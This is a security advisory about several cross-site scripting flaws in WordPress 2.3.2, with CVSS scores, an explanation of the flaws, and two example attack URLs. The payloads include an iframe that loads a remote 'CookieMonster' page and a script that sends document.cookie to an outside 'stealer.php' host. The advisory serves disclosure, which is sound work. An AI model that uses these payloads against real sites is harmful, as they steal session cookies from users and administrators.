WordPress Multiple Cross-Site Scripting Vulnerabilities

2008.03.12
Credit: DoZ
Risk: Low
Local: No
Remote: Yes
CWE: CWE-79


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: None

Vulnerabilities in Wordpress, which can be exploited by malicious people to conduct cross-site scripting and script insertion attacks.Input passed to certain parameters in various scripts isn't properly verified before it is returned to the user. This can be exploited to execute arbitrary HTML or script code in a user's browser session in context of an affected site by tricking the user into visiting a malicious website or follow a specially crafted link. An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. Hackers Center Security Group (http://www.hackerscenter.com) Credit: DoZ Class: Input Validation Error Remote: Yes Product: WordPress Version: 2.3.2 Vendor: http://www.WordPress.com Attackers can exploit these issues via a web client. Url: (1 & 2) 1. Our Testing Example: http://site.wordpress.com/wp-admin/users.php?update=invite&inviteemail=A ttack_Code Example of Attack String: ">< iframe src=http://members.lycos.co.uk/Account/CookieMonster.php width=0 height=0> < /script> 2. Our Testing Example: (Works If Admin is already logged in) http://site.wordpress.com/wp-admin/invites.php?result=sent&to=%22%3E%3Cs cript%3Ealert (document.cookie);%3C/script%3E Example of Attack String: < script>document.location="http://www.mysite/stealer.php?cookie="+documen t.cookie;</script> Refrence: http://www.hackerscenter.com/index.php?/Latest-posts/114-WordPress-Multi ple-Cross-Site-Scripting-Vulnerabilities.html?id=114 Video: http://www.hackerscenter.com/public/%5F/wordpress/Wordpress.html


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top